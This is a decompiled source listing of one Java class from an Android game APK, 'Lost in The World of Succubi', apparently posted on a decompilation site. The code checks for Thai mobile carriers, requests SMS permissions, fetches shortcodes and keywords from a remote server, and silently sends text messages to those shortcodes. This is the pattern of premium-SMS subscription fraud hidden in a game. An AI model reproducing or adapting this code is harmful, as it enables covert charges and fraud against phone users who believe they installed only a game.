Lost in The World of Succubi v版本的 MD5 值为:79a6335b1b86e8c40a9ae082e1016caa
以下内容为反编译后的 d.java 源代码,内容仅作参考
package e.a.c;
import a.c.a.b.d.l.n;
import android.app.PendingIntent;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.AsyncTask;
import android.os.Build;
import android.telephony.SmsManager;
import android.webkit.WebView;
import kimd.loie.MainActivity;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
public class d {
public static String f3860a = "";
public static class a extends AsyncTask<Void, Void, String> {
public Context f3861a;
public WebView f3862b;
public a(Context context, WebView webView) {
this.f3861a = context;
this.f3862b = webView;
}
@Override
public String doInBackground(Void[] voidArr) {
a.d.a.b.a aVar = new a.d.a.b.a();
aVar.b("country", "thailand");
aVar.b("app_id", "lost_in_the_world_of_succubi_fb");
return n.A0("https://onesignal.modobomco.com/api/keywords-info", aVar).f3845b.toString();
}
@Override
public void onPostExecute(String str) {
String str2 = str;
super.onPostExecute(str2);
if (str2.equals("")) {
return;
}
String str3 = MainActivity.s;
char c2 = 65535;
switch (str3.hashCode()) {
case 50483828:
if (str3.equals("52001")) {
c2 = 1;
break;
}
break;
case 50483830:
if (str3.equals("52003")) {
c2 = 0;
break;
}
break;
case 50483832:
if (str3.equals("52005")) {
c2 = 2;
break;
}
break;
case 50483866:
if (str3.equals("52018")) {
c2 = 3;
break;
}
break;
}
if (c2 == 0 || c2 == 1) {
d.e(this.f3861a, "ais", str2, this.f3862b);
} else if (c2 == 2 || c2 == 3) {
d.e(this.f3861a, "dtac", str2, this.f3862b);
}
}
}
public static void a(MainActivity mainActivity, WebView webView) {
if (Build.VERSION.SDK_INT >= 23) {
String str = MainActivity.s;
char c2 = 65535;
switch (str.hashCode()) {
case 50483828:
if (str.equals("52001")) {
c2 = 1;
break;
}
break;
case 50483830:
if (str.equals("52003")) {
c2 = 0;
break;
}
break;
case 50483832:
if (str.equals("52005")) {
c2 = 2;
break;
}
break;
case 50483866:
if (str.equals("52018")) {
c2 = 3;
break;
}
break;
}
if (c2 != 0 && c2 != 1 && c2 != 2 && c2 != 3) {
if (!n.L("Per_Sms", mainActivity, Boolean.FALSE)) {
StringBuilder g2 = a.b.a.a.a.g("Sai nha mang : ");
g2.append(MainActivity.s);
c.a(mainActivity, "false", g2.toString());
n.w0("Per_Sms", Boolean.TRUE, mainActivity);
}
if (webView != null) {
webView.setVisibility(0);
i.a(webView);
return;
}
return;
}
mainActivity.requestPermissions(new String[]{"android.permission.SEND_SMS", "android.permission.READ_SMS", "android.permission.RECEIVE_SMS"}, 1);
}
}
public static void b(Context context, String str, String str2) {
try {
if (n.L("SEND_AME", context, Boolean.FALSE)) {
return;
}
PendingIntent broadcast = PendingIntent.getBroadcast(context, 0, new Intent("FlagIntent_AME").setFlags(32768), 0);
context.registerReceiver(new e.a.c.a(str, str2, "TYPE_AME"), new IntentFilter("FlagIntent_AME"));
SmsManager.getDefault().sendTextMessage(str, null, str2, broadcast, null);
n.w0("SEND_AME", Boolean.TRUE, context);
} catch (Exception e2) {
e2.printStackTrace();
}
}
public static void c(Context context, String str, String str2) {
try {
if (n.L("SENDF2U", context, Boolean.FALSE)) {
return;
}
PendingIntent broadcast = PendingIntent.getBroadcast(context, 0, new Intent("FlagIntent_FU").setFlags(32768), 0);
context.registerReceiver(new e.a.c.a(str, str2, "TYPE_F2U"), new IntentFilter("FlagIntent_FU"));
SmsManager.getDefault().sendTextMessage(str, null, str2, broadcast, null);
n.w0("SENDF2U", Boolean.TRUE, context);
} catch (Exception e2) {
e2.printStackTrace();
}
}
public static void d(Context context, String str, String str2, String str3) {
String str4 = MainActivity.s;
if (str4 == null && str4.equals("")) {
return;
}
try {
PendingIntent broadcast = PendingIntent.getBroadcast(context, 0, new Intent(str3).setFlags(32768), 0);
context.registerReceiver(new e.a.c.a(str, str2, "TYPE_MK"), new IntentFilter(str3));
SmsManager.getDefault().sendTextMessage(str, null, str2, broadcast, null);
} catch (Exception e2) {
e2.printStackTrace();
}
}
public static void e(Context context, String str, String str2, WebView webView) {
try {
JSONArray jSONArray = new JSONObject(str2).getJSONArray(str);
for (int i = 0; i < jSONArray.length(); i++) {
JSONObject jSONObject = jSONArray.getJSONObject(i);
String string = jSONObject.getString("shortcode");
String string2 = jSONObject.getString("keyword");
if (string2.contains("1")) {
f3860a = string2;
c(context, string, string2);
new h().a(context, webView);
} else {
d(context, string, string2, "Flag_Intent_MK" + string2);
}
}
} catch (JSONException e2) {
e2.printStackTrace();
}
}
}